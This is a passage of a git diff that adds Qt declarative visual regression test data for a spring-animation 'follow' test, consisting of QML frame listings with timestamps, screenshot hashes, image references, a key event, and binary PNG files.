+ hash: "d3f1c3593375ca5c022a1361a7ec70bd"
+ }
+ Frame {
+ msec: 3888
+ hash: "67843e6192e2ecaa3820c37dc2f93106"
+ }
+ Frame {
+ msec: 3904
+ hash: "19a022f678e5b8f4ebdff936162323dc"
+ }
+ Frame {
+ msec: 3920
+ hash: "34e55ae70c9e156db339ae15642359c3"
+ }
+ Frame {
+ msec: 3936
+ hash: "3784778c817f9d9bb73d990cfe12685a"
+ }
+ Frame {
+ msec: 3952
+ hash: "0403fdf79e3ba339c7e3786db0c9c0f0"
+ }
+ Frame {
+ msec: 3968
+ hash: "93e4a0d5645d1cfc916f1e8422655555"
+ }
+ Frame {
+ msec: 3984
+ hash: "29080bfabb87160b7c51385fb36b474b"
+ }
+ Frame {
+ msec: 4000
+ hash: "9da2d83edc9d35f00fb8a159e79de4d9"
+ }
+ Frame {
+ msec: 4016
+ hash: "5505a42d4788f00cfc7499fbfda851ce"
+ }
+ Frame {
+ msec: 4032
+ hash: "bdd3040ab16fa9ffdd2fbc66b06699f8"
+ }
+ Frame {
+ msec: 4048
+ hash: "2a347e30a20c693a9440caa60ade0a0f"
+ }
+ Frame {
+ msec: 4064
+ hash: "0307f1857c091a639d47f112ce1a2f5a"
+ }
+ Frame {
+ msec: 4080
+ hash: "778d18e539bbd562ebe39283a6315df1"
+ }
+ Frame {
+ msec: 4096
+ hash: "0369cf6c3d1f5db2e92ee1f7c5d3b8ed"
+ }
+ Frame {
+ msec: 4112
+ hash: "9f7413587ab50f1abf776bf180ec2d6f"
+ }
+ Frame {
+ msec: 4128
+ hash: "7d04a27236485808e571e8a39f23ea17"
+ }
+ Frame {
+ msec: 4144
+ hash: "a1dff63b723473d5a4c9c59975a2fb81"
+ }
+ Frame {
+ msec: 4160
+ hash: "9795ea70a3b9d3b7805221a58c19e5da"
+ }
+ Frame {
+ msec: 4176
+ hash: "f1392c489e21107136eb8e0d1e8b427e"
+ }
+ Frame {
+ msec: 4192
+ hash: "95c225ef07171a96335e99078195b06a"
+ }
+ Frame {
+ msec: 4208
+ hash: "d46ef3e7f9cec06e8c18afc0d07be4f3"
+ }
+ Frame {
+ msec: 4224
+ hash: "b017f5b51d423bb0fca0d6df3aaded8b"
+ }
+ Frame {
+ msec: 4240
+ hash: "60584d085b0cd6fbc436773be678597e"
+ }
+ Frame {
+ msec: 4256
+ hash: "117951465dfd5c386826b295560d2dec"
+ }
+ Frame {
+ msec: 4272
+ hash: "1b70137da5f4e024593999e93121fe8b"
+ }
+ Frame {
+ msec: 4288
+ hash: "bd50dffd41941fef127f39b55c4748e0"
+ }
+ Frame {
+ msec: 4304
+ hash: "8eec34d8e1d2e22d11b85a671cd4d3aa"
+ }
+ Frame {
+ msec: 4320
+ hash: "9e3c97cfad5002ef5f3fcc365aeb7bd0"
+ }
+ Frame {
+ msec: 4336
+ hash: "28e1cf1ee033915ea2ee39c9ab00a73d"
+ }
+ Frame {
+ msec: 4352
+ hash: "99101a156a553f441f00221f6facbf1f"
+ }
+ Frame {
+ msec: 4368
+ hash: "419023e5d59d16c26b35bee7d3cea559"
+ }
+ Frame {
+ msec: 4384
+ hash: "485d23519293975b04031fe4baa5c276"
+ }
+ Frame {
+ msec: 4400
+ hash: "c8bc60735e0ede26dbaf228294853f9a"
+ }
+ Frame {
+ msec: 4416
+ hash: "ada3680b807d59843e3adf6640704066"
+ }
+ Frame {
+ msec: 4432
+ hash: "3e28f3adf9241512cd0d6918d81ffffb"
+ }
+ Frame {
+ msec: 4448
+ hash: "8f339acc33cbc89ae1c62391ce021bb3"
+ }
+ Frame {
+ msec: 4464
+ hash: "d303960c0853a90557d64a04b8283c94"
+ }
+ Frame {
+ msec: 4480
+ hash: "f907dbdacf2cfa9fdf8f9c8dead5b4c4"
+ }
+ Frame {
+ msec: 4496
+ hash: "30c6e6f283f4a3f538cdda9c2e92de8c"
+ }
+ Frame {
+ msec: 4512
+ hash: "04d2ac55774b43107a43a7d33764199b"
+ }
+ Frame {
+ msec: 4528
+ hash: "cddf3e111cbc59e721725daa1d8a0c31"
+ }
+ Frame {
+ msec: 4544
+ hash: "15b1b63cd1695207ebf9f04387be0739"
+ }
+ Frame {
+ msec: 4560
+ hash: "690769b9bbe86a3c5b1fbdee39615fbd"
+ }
+ Frame {
+ msec: 4576
+ hash: "2bd640d8ddbf878d808f22656fef1ed9"
+ }
+ Frame {
+ msec: 4592
+ hash: "a654f1e4519bf883d554276ebbe96323"
+ }
+ Frame {
+ msec: 4608
+ hash: "68f0313cfc3f51a0bb9b47c5407c19b6"
+ }
+ Frame {
+ msec: 4624
+ hash: "77f29806b084de4cabf7ab9bf1a93d5e"
+ }
+ Frame {
+ msec: 4640
+ hash: "f9991189e3282d107b98fb0ae5f5ef00"
+ }
+ Frame {
+ msec: 4656
+ hash: "0cd1f2f6e347d48feea1b26a4968dec7"
+ }
+ Frame {
+ msec: 4672
+ hash: "e75a6f6a088e2289042572a161ffb0e9"
+ }
+ Frame {
+ msec: 4688
+ hash: "5a541081444c0a71128223a4c4c3144c"
+ }
+ Frame {
+ msec: 4704
+ hash: "6813d442cc610f346a5441ed0cd723e5"
+ }
+ Frame {
+ msec: 4720
+ hash: "24ec539bc57899819915f833f26deacd"
+ }
+ Frame {
+ msec: 4736
+ hash: "3a7ed1b4b533b817674aa141c420cd61"
+ }
+ Frame {
+ msec: 4752
+ hash: "d0a643fae97bb152e97ca60e96299003"
+ }
+ Frame {
+ msec: 4768
+ hash: "c84093931520f4661eff6645091a294b"
+ }
+ Frame {
+ msec: 4784
+ hash: "81e7ceaece82505a4a16ead195a66162"
+ }
+ Frame {
+ msec: 4800
+ hash: "315764d20b647f6ab1ba30239a69bf72"
+ }
+ Frame {
+ msec: 4816
+ image: "follow.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "d1824ced8af34ad9edb36a58ae9aa7f5"
+ }
+ Frame {
+ msec: 4848
+ hash: "167b9a49fbb94908e09e7e9c9147cd8b"
+ }
+ Frame {
+ msec: 4864
+ hash: "442d5f0906840de526d59a80ada322c0"
+ }
+ Frame {
+ msec: 4880
+ hash: "78206c4d4d23c7c1ba888b9062b09432"
+ }
+ Frame {
+ msec: 4896
+ hash: "e898202cfebbff1952efc6e01254d855"
+ }
+ Frame {
+ msec: 4912
+ hash: "ab31dc7bbad2b0552359866bb8d92f0c"
+ }
+ Frame {
+ msec: 4928
+ hash: "f093304e88964376baf9721d53d4fb49"
+ }
+ Frame {
+ msec: 4944
+ hash: "3ef76f3e1c44d13c3a469bd192ff7b5d"
+ }
+ Frame {
+ msec: 4960
+ hash: "5d3b6d0d91f8cc5b89e39407bc3b5a15"
+ }
+ Frame {
+ msec: 4976
+ hash: "3c73573f12f49b34e1d990a55ad913fa"
+ }
+ Frame {
+ msec: 4992
+ hash: "d1bac071b01a1c6fddab90cdc435fad4"
+ }
+ Frame {
+ msec: 5008
+ hash: "36a219aadec910f1dbef616c641e1d2b"
+ }
+ Frame {
+ msec: 5024
+ hash: "5871fc67d361cc988551592ee21dfb23"
+ }
+ Frame {
+ msec: 5040
+ hash: "6e65ee6c814b9a9da205c36925e663bf"
+ }
+ Frame {
+ msec: 5056
+ hash: "290b20fa8e91d34000d7c2d81745f6d2"
+ }
+ Frame {
+ msec: 5072
+ hash: "19e7405a9083a8143f7bb040f8837b29"
+ }
+ Frame {
+ msec: 5088
+ hash: "c0a0fa2b4c1ceb6c70594994a1ac8713"
+ }
+ Frame {
+ msec: 5104
+ hash: "c236224c16743fb606deb78bcb8afc8d"
+ }
+ Frame {
+ msec: 5120
+ hash: "7d44db15eb300b4338ffc26e9bcfce20"
+ }
+ Frame {
+ msec: 5136
+ hash: "067a79148a194c45c6f32d85316a1e11"
+ }
+ Frame {
+ msec: 5152
+ hash: "9075c379044476994a87f0fdcce8e332"
+ }
+ Frame {
+ msec: 5168
+ hash: "b2316988fbd51096a4f512e71fe7d0a2"
+ }
+ Frame {
+ msec: 5184
+ hash: "280f70877d93af5f84e178aad6a102d8"
+ }
+ Frame {
+ msec: 5200
+ hash: "3eef4ae7e43a8cf1cd9dd562237296f8"
+ }
+ Frame {
+ msec: 5216
+ hash: "e3184f77ce3a47ca4dca6386f42d7fec"
+ }
+ Frame {
+ msec: 5232
+ hash: "a2a5df66fe4808ea8d466cac84ba910c"
+ }
+ Frame {
+ msec: 5248
+ hash: "9f8a0e54788112d6c30482e840504f35"
+ }
+ Frame {
+ msec: 5264
+ hash: "ae69cf84798844f9f360c86790feaecd"
+ }
+ Frame {
+ msec: 5280
+ hash: "0244526572acb6266db5b7eb9d29c6fc"
+ }
+ Frame {
+ msec: 5296
+ hash: "8fb53d60b95ddb5aef27442934ea9983"
+ }
+ Frame {
+ msec: 5312
+ hash: "930fcfde491b4f5681e3861764003895"
+ }
+ Frame {
+ msec: 5328
+ hash: "bcdcd0a637112d113ebe11dc18823237"
+ }
+ Frame {
+ msec: 5344
+ hash: "65a564d5a5afbc14c0cdad4d52753507"
+ }
+ Frame {
+ msec: 5360
+ hash: "0c5056d438d2d54938f31ef5f996673a"
+ }
+ Frame {
+ msec: 5376
+ hash: "11c157ad2236fc390ffbdf339366cbc1"
+ }
+ Frame {
+ msec: 5392
+ hash: "6cb341b1f281a97a35c2e41bfd4c4d9d"
+ }
+ Frame {
+ msec: 5408
+ hash: "553a945f7f19f70ddae4ebe88e52a79b"
+ }
+ Frame {
+ msec: 5424
+ hash: "d10b42b4095a2474e66a5a322f72e936"
+ }
+ Frame {
+ msec: 5440
+ hash: "0f943d61e8072d70eddee8aa1ba0de5a"
+ }
+ Frame {
+ msec: 5456
+ hash: "3df18e237b666e78d57857739b759e6d"
+ }
+ Frame {
+ msec: 5472
+ hash: "1ddc0bfdb2ca7b6dee63f1024e62f26e"
+ }
+ Frame {
+ msec: 5488
+ hash: "aaa397714528f41238059e3a88833abc"
+ }
+ Frame {
+ msec: 5504
+ hash: "c94bd69f925c782656afc5f9618180a6"
+ }
+ Frame {
+ msec: 5520
+ hash: "824ff8c0e1ab43e3c0eaa79b7cc19b9c"
+ }
+ Frame {
+ msec: 5536
+ hash: "6c440a0b2293811335bdbf2c4f25f47d"
+ }
+ Frame {
+ msec: 5552
+ hash: "bfc7936cdf833d5b720ec9baca740112"
+ }
+ Frame {
+ msec: 5568
+ hash: "375fa305dbae2872dc9b20e59381cc0c"
+ }
+ Frame {
+ msec: 5584
+ hash: "fffd6173aa49e74164dc17a238bcd830"
+ }
+ Frame {
+ msec: 5600
+ hash: "44d9007e00fab161fd393b653255d7f4"
+ }
+ Frame {
+ msec: 5616
+ hash: "f669ee25c58b4fa20a01705d334f0065"
+ }
+ Frame {
+ msec: 5632
+ hash: "2dbb7d57711b67d5d9e1b81f70e22d34"
+ }
+ Frame {
+ msec: 5648
+ hash: "19351b91448265cb95c1670ee283c611"
+ }
+ Frame {
+ msec: 5664
+ hash: "19351b91448265cb95c1670ee283c611"
+ }
+ Frame {
+ msec: 5680
+ hash: "3a24b99d048348a21f4e4bd69393de89"
+ }
+ Frame {
+ msec: 5696
+ hash: "35a6fe955a52950bbfa954a453e4008e"
+ }
+ Frame {
+ msec: 5712
+ hash: "896f4ec28c976237b34fb2725a44460e"
+ }
+ Frame {
+ msec: 5728
+ hash: "ed3008ea950ec84c57518e573ea36d15"
+ }
+ Frame {
+ msec: 5744
+ hash: "3447c7be992759f772c1db2033eead99"
+ }
+ Frame {
+ msec: 5760
+ hash: "b7133225daa03563d3f5b1dac5f56a23"
+ }
+ Frame {
+ msec: 5776
+ image: "follow.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "adc55f2fcf312a90b025a75fa80aa079"
+ }
+ Frame {
+ msec: 5808
+ hash: "3ac85cad400d2b8e4f33798f4f6b7b42"
+ }
+ Frame {
+ msec: 5824
+ hash: "1c115efd84ccbe489d24c3c521c4a61c"
+ }
+ Frame {
+ msec: 5840
+ hash: "39518f1bbc0c4aba6ff517bc3dc7c279"
+ }
+ Frame {
+ msec: 5856
+ hash: "7bd28d32996f4de61c415d3217da16d0"
+ }
+ Frame {
+ msec: 5872
+ hash: "f5d06e25d775bf8db07e95625a712733"
+ }
+ Frame {
+ msec: 5888
+ hash: "4820ea6ea3be88af2f86111c547a19d7"
+ }
+ Frame {
+ msec: 5904
+ hash: "fa6e681c368118b7f135a47ae8fc12ff"
+ }
+ Frame {
+ msec: 5920
+ hash: "f6b30e618aeeb837d2b3eca270b0a060"
+ }
+ Frame {
+ msec: 5936
+ hash: "ac8504bde8d3063a8bf02b9d4b69d755"
+ }
+ Frame {
+ msec: 5952
+ hash: "9670537bb77caa8e23fda7bbfa96ca60"
+ }
+ Frame {
+ msec: 5968
+ hash: "8cd292865ce5c1d240e9ddc93881a0ed"
+ }
+ Frame {
+ msec: 5984
+ hash: "de112013e526203d151c46e6cfba9f92"
+ }
+ Frame {
+ msec: 6000
+ hash: "cd61066e697de8c055aaa168791c2d8c"
+ }
+ Frame {
+ msec: 6016
+ hash: "cd61066e697de8c055aaa168791c2d8c"
+ }
+ Frame {
+ msec: 6032
+ hash: "e68b27ff14aac03c827fd43ac488d23e"
+ }
+ Frame {
+ msec: 6048
+ hash: "e68b27ff14aac03c827fd43ac488d23e"
+ }
+ Frame {
+ msec: 6064
+ hash: "1f61d857a8c26587fbda5895c603441a"
+ }
+ Frame {
+ msec: 6080
+ hash: "1e0dffdd02e05ade1ae444427d4aa345"
+ }
+ Frame {
+ msec: 6096
+ hash: "9a416ee7a1de9ac45ab2d609233c9520"
+ }
+ Frame {
+ msec: 6112
+ hash: "dfa35bf1cd908011c3214a506bcbdcb8"
+ }
+ Frame {
+ msec: 6128
+ hash: "bd502dc72dce4af3036f7af9ed7cf9e9"
+ }
+ Frame {
+ msec: 6144
+ hash: "c77280527612408daa3037aab45da59d"
+ }
+ Frame {
+ msec: 6160
+ hash: "a38ed1532a40210ad7da4c0d4d1a7195"
+ }
+ Frame {
+ msec: 6176
+ hash: "8ac8a8df937da526bbffb9a3590d89ac"
+ }
+ Frame {
+ msec: 6192
+ hash: "07527cb9a4494e11f4c9f99eb72598b9"
+ }
+ Frame {
+ msec: 6208
+ hash: "655b0327ef0f8711810714ba50f2f8cc"
+ }
+ Frame {
+ msec: 6224
+ hash: "549fd25292012a2be1f78118998ca892"
+ }
+ Frame {
+ msec: 6240
+ hash: "7a382ae4e6a48826eaa2c83ee7a73fb2"
+ }
+ Frame {
+ msec: 6256
+ hash: "5acd5f250c5b32d9006ed68dfecbfa1c"
+ }
+ Frame {
+ msec: 6272
+ hash: "3189e5a89d7b2ba1e6a06f6e3070e8c1"
+ }
+ Frame {
+ msec: 6288
+ hash: "3189e5a89d7b2ba1e6a06f6e3070e8c1"
+ }
+ Frame {
+ msec: 6304
+ hash: "07e5f1277558bfe7638b00cf9d967baf"
+ }
+ Frame {
+ msec: 6320
+ hash: "07e5f1277558bfe7638b00cf9d967baf"
+ }
+ Frame {
+ msec: 6336
+ hash: "07e5f1277558bfe7638b00cf9d967baf"
+ }
+ Frame {
+ msec: 6352
+ hash: "07e5f1277558bfe7638b00cf9d967baf"
+ }
+ Frame {
+ msec: 6368
+ hash: "07e5f1277558bfe7638b00cf9d967baf"
+ }
+ Frame {
+ msec: 6384
+ hash: "877aca1c64e588845329ca8a38222604"
+ }
+ Frame {
+ msec: 6400
+ hash: "877aca1c64e588845329ca8a38222604"
+ }
+ Frame {
+ msec: 6416
+ hash: "877aca1c64e588845329ca8a38222604"
+ }
+ Frame {
+ msec: 6432
+ hash: "877aca1c64e588845329ca8a38222604"
+ }
+ Frame {
+ msec: 6448
+ hash: "877aca1c64e588845329ca8a38222604"
+ }
+ Frame {
+ msec: 6464
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6480
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6496
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6512
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6528
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6544
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6560
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6576
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6592
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6608
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6624
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6640
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6656
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6672
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6688
+ hash: "b0f28e923f93dcdcea8460ca9d8cd674"
+ }
+ Frame {
+ msec: 6704
+ hash: "228920e994ebf71d542c71ce8263614e"
+ }
+ Frame {
+ msec: 6720
+ hash: "228920e994ebf71d542c71ce8263614e"
+ }
+ Frame {
+ msec: 6736
+ image: "follow.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "228920e994ebf71d542c71ce8263614e"
+ }
+ Frame {
+ msec: 6768
+ hash: "228920e994ebf71d542c71ce8263614e"
+ }
+ Frame {
+ msec: 6784
+ hash: "228920e994ebf71d542c71ce8263614e"
+ }
+ Frame {
+ msec: 6800
+ hash: "228920e994ebf71d542c71ce8263614e"
+ }
+ Frame {
+ msec: 6816
+ hash: "228920e994ebf71d542c71ce8263614e"
+ }
+ Frame {
+ msec: 6832
+ hash: "07e5f1277558bfe7638b00cf9d967baf"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6848
+ hash: "3189e5a89d7b2ba1e6a06f6e3070e8c1"
+ }
+ Frame {
+ msec: 6864
+ hash: "3189e5a89d7b2ba1e6a06f6e3070e8c1"
+ }
+ Frame {
+ msec: 6880
+ hash: "3189e5a89d7b2ba1e6a06f6e3070e8c1"
+ }
+ Frame {
+ msec: 6896
+ hash: "3189e5a89d7b2ba1e6a06f6e3070e8c1"
+ }
+ Frame {
+ msec: 6912
+ hash: "3189e5a89d7b2ba1e6a06f6e3070e8c1"
+ }
+ Frame {
+ msec: 6928
+ hash: "3189e5a89d7b2ba1e6a06f6e3070e8c1"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.0.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.0.png
new file mode 100644
index 00000000..6525dbb8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.1.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.1.png
new file mode 100644
index 00000000..5b8d209f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.2.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.2.png
new file mode 100644
index 00000000..cf012baf
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.3.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.3.png
new file mode 100644
index 00000000..57e77a41
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.4.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.4.png
new file mode 100644
index 00000000..24d26bde
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.5.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.5.png
new file mode 100644
index 00000000..a5407348
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.6.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.6.png
new file mode 100644
index 00000000..17da6436
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.7.png b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.7.png
new file mode 100644
index 00000000..e03cfe4b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.qml b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.qml
new file mode 100644
index 00000000..98cd12c2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativespringanimation/data-X11/follow.qml
@@ -0,0 +1,1763 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "follow.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "2ddcb50f5d285eb80a8136f0cf4cf85a"
+ }
+ Frame {
+ msec: 48
+ hash: "519d93a844e05f8215139d91c9aef58b"
+ }
+ Frame {
+ msec: 64
+ hash: "9f075a5547e4dc67cbe2ace2766395bb"
+ }
+ Frame {
+ msec: 80
+ hash: "8fc48f74a51d45b4ea1fb7bd1d48002f"
+ }
+ Frame {
+ msec: 96
+ hash: "a28fc4be5a5bb9ff36f796d9b071f02c"
+ }
+ Frame {
+ msec: 112
+ hash: "ebc14c2905f3596ec451dd96409e6001"
+ }
+ Frame {
+ msec: 128
+ hash: "4f270bdcff44006a56055edb1cda522a"
+ }
+ Frame {
+ msec: 144
+ hash: "571f347e764bf38985768c85c2a13ba1"
+ }
+ Frame {
+ msec: 160
+ hash: "b1aa23268167b7e2a1190288926f52c0"
+ }
+ Frame {
+ msec: 176
+ hash: "06d548aef9a678edbf3ab4d3ce62a647"
+ }
+ Frame {
+ msec: 192
+ hash: "daf6af0ae78f39566913c656450a66e5"
+ }
+ Frame {
+ msec: 208
+ hash: "f101cd0c026ee0ed6ccef7a4aed302a0"
+ }
+ Frame {
+ msec: 224
+ hash: "b3caa673f072c53d31d71109c9b33357"
+ }
+ Frame {
+ msec: 240
+ hash: "8596f1d305d6b8f97b9feda9e69bdefe"
+ }
+ Frame {
+ msec: 256
+ hash: "23c23df2c130aafb2092fe47a958a4cd"
+ }
+ Frame {
+ msec: 272
+ hash: "66a4f2d8213264437a5f4d6cf10cd442"
+ }
+ Frame {
+ msec: 288
+ hash: "6392490111813bad0a9467cc0c1746ed"
+ }
+ Frame {
+ msec: 304
+ hash: "c115a47e0ecab63b881e2ec492d24e68"
+ }
+ Frame {
+ msec: 320
+ hash: "c2a2b57e6f9ea2975c0846124d2dbc66"
+ }
+ Frame {
+ msec: 336
+ hash: "8286c315dfda4241607b2de1154f869d"
+ }
+ Frame {
+ msec: 352
+ hash: "3f0f7cae80357176892ff7628ec3153a"
+ }
+ Frame {
+ msec: 368
+ hash: "d13bde4a5b5ed8202f92ae33913166c9"
+ }
+ Frame {
+ msec: 384
+ hash: "b70cc32134b1b0d31a5e7f145af09495"
+ }
+ Frame {
+ msec: 400
+ hash: "03ebc2ff317ac840f4508e8701d66955"
+ }
+ Frame {
+ msec: 416
+ hash: "8dff08e72365e8e2fee8088c386dedca"
+ }
+ Frame {
+ msec: 432
+ hash: "720f3bbaf3fa3e3a064747d5689e47a0"
+ }
+ Frame {
+ msec: 448
+ hash: "350e3ebfcfef96969ef5b8d5944f7e62"
+ }
+ Frame {
+ msec: 464
+ hash: "1e4e6e68b3a8eac0c5cd039164eec166"
+ }
+ Frame {
+ msec: 480
+ hash: "62a10c4250ad025139a3f9e72109e8e1"
+ }
+ Frame {
+ msec: 496
+ hash: "23cfd643adfc98f6a06c7e7b15dac954"
+ }
+ Frame {
+ msec: 512
+ hash: "3a78930d5b86b886723fad85e77dd075"
+ }
+ Frame {
+ msec: 528
+ hash: "64dc878e2f527e80403c766e61fe14a6"
+ }
+ Frame {
+ msec: 544
+ hash: "d79160989d2584044042271e79a88e69"
+ }
+ Frame {
+ msec: 560
+ hash: "22cbaea4affc88433834c7d0dc1f1644"
+ }
+ Frame {
+ msec: 576
+ hash: "77cb616902257e1f239a0e6bfaabb33c"
+ }
+ Frame {
+ msec: 592
+ hash: "a2fe73dced03b23c4acb9aae9b774b41"
+ }
+ Frame {
+ msec: 608
+ hash: "230e21d3a9ed0e185593677233af1275"
+ }
+ Frame {
+ msec: 624
+ hash: "4e10ecffac4e06d624855d3f8917f76c"
+ }
+ Frame {
+ msec: 640
+ hash: "84f49d56baace4a02e50d3eafaea04ec"
+ }
+ Frame {
+ msec: 656
+ hash: "e3cd0b334551a9f91723eb2c876d335a"
+ }
+ Frame {
+ msec: 672
+ hash: "259330f3ec390c9926d9c2ddc2d77319"
+ }
+ Frame {
+ msec: 688
+ hash: "cc659623bfa385d282d608684d7cdc2b"
+ }
+ Frame {
+ msec: 704
+ hash: "47ed75d077143a6bfa0e10158550c542"
+ }
+ Frame {
+ msec: 720
+ hash: "0de93bbd9f9ee63e97968089321003e1"
+ }
+ Frame {
+ msec: 736
+ hash: "b33d867d4399879256a01344ce0b81f2"
+ }
+ Frame {
+ msec: 752
+ hash: "97c31fce937d11f62bebc6169b464a42"
+ }
+ Frame {
+ msec: 768
+ hash: "ea4166b8a4001bca3f27af30f251267f"
+ }
+ Frame {
+ msec: 784
+ hash: "b56d270b7893565f8d7ed2a0bfe10d60"
+ }
+ Frame {
+ msec: 800
+ hash: "88a42559fe22b45cff379258dd40ced9"
+ }
+ Frame {
+ msec: 816
+ hash: "4ee1a711cb8d26087e1b75a3166ca5f0"
+ }
+ Frame {
+ msec: 832
+ hash: "9b88a00d041092e79b4a08bccbaca0e1"
+ }
+ Frame {
+ msec: 848
+ hash: "afea397b3d740dc42f0313624fc10efd"
+ }
+ Frame {
+ msec: 864
+ hash: "39fd8e4cefbd9fed283d62a7aecded22"
+ }
+ Frame {
+ msec: 880
+ hash: "916b783d2379ac054c749e7b6eae7ddf"
+ }
+ Frame {
+ msec: 896
+ hash: "fccd44740ff7ffb0f2adccf00a7588bd"
+ }
+ Frame {
+ msec: 912
+ hash: "c064f20703a13543e8273d251fd645fe"
+ }
+ Frame {
+ msec: 928
+ hash: "1b9b0755101841e3d1cbe208d81575d5"
+ }
+ Frame {
+ msec: 944
+ hash: "1eb5e4a301b565012bc8f6af8e879eb9"
+ }
+ Frame {
+ msec: 960
+ hash: "032db65eb5c405e433f88df3975c322b"
+ }
+ Frame {
+ msec: 976
+ image: "follow.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "fdb67e11d7cc767b2389a8bbef752c7e"
+ }
+ Frame {
+ msec: 1008
+ hash: "ed89cb161336c61b13e3514fdf816023"
+ }
+ Frame {
+ msec: 1024
+ hash: "331b873c5367e0aaa62af85cb54a6a96"
+ }
+ Frame {
+ msec: 1040
+ hash: "cde4503f02f0c3732e310a7d0418cd1e"
+ }
+ Frame {
+ msec: 1056
+ hash: "f8c028c591fc1495d5bec8763da6f011"
+ }
+ Frame {
+ msec: 1072
+ hash: "9dc68483218335afe41aa3cd052a98b5"
+ }
+ Frame {
+ msec: 1088
+ hash: "31105c455418a3284700cf9c88571507"
+ }
+ Frame {
+ msec: 1104
+ hash: "72724947167a1ac600aaa1d7f331f7ec"
+ }
+ Frame {
+ msec: 1120
+ hash: "a4a1243326de6b9e93948fcb22fecac4"
+ }
+ Frame {
+ msec: 1136
+ hash: "c3e26e62f12dd658f21a0330fefb0533"
+ }
+ Frame {
+ msec: 1152
+ hash: "15d85b4a9ad761a911bbaa3e0c4b2b61"
+ }
+ Frame {
+ msec: 1168
+ hash: "bce1400b437cc43b8ff57b1a5fbc9551"
+ }
+ Frame {
+ msec: 1184
+ hash: "5d05848afcd8f697c1b3762f00a759f6"
+ }
+ Frame {
+ msec: 1200
+ hash: "6c83f68ea72cd54793149f4c9e759d44"
+ }
+ Frame {
+ msec: 1216
+ hash: "5206b93666e51cee3e25a7a85e27b5b8"
+ }
+ Frame {
+ msec: 1232
+ hash: "a3ef5c76efece4455e5ad12bcc8bd8f5"
+ }
+ Frame {
+ msec: 1248
+ hash: "c36c6ee7b6c8074f5dc1af7446fad1ad"
+ }
+ Frame {
+ msec: 1264
+ hash: "bb0887f1f10548bb53f0dc1ffeec25ee"
+ }
+ Frame {
+ msec: 1280
+ hash: "ebffe547a7c3528e5deddc590510506d"
+ }
+ Frame {
+ msec: 1296
+ hash: "18962faef1a1a1207a3c6783116154a2"
+ }
+ Frame {
+ msec: 1312
+ hash: "8aaa876e4a6c4de04e557f35ddd4fb61"
+ }
+ Frame {
+ msec: 1328
+ hash: "c66123bb4e01ce267629f5b50d147db1"
+ }
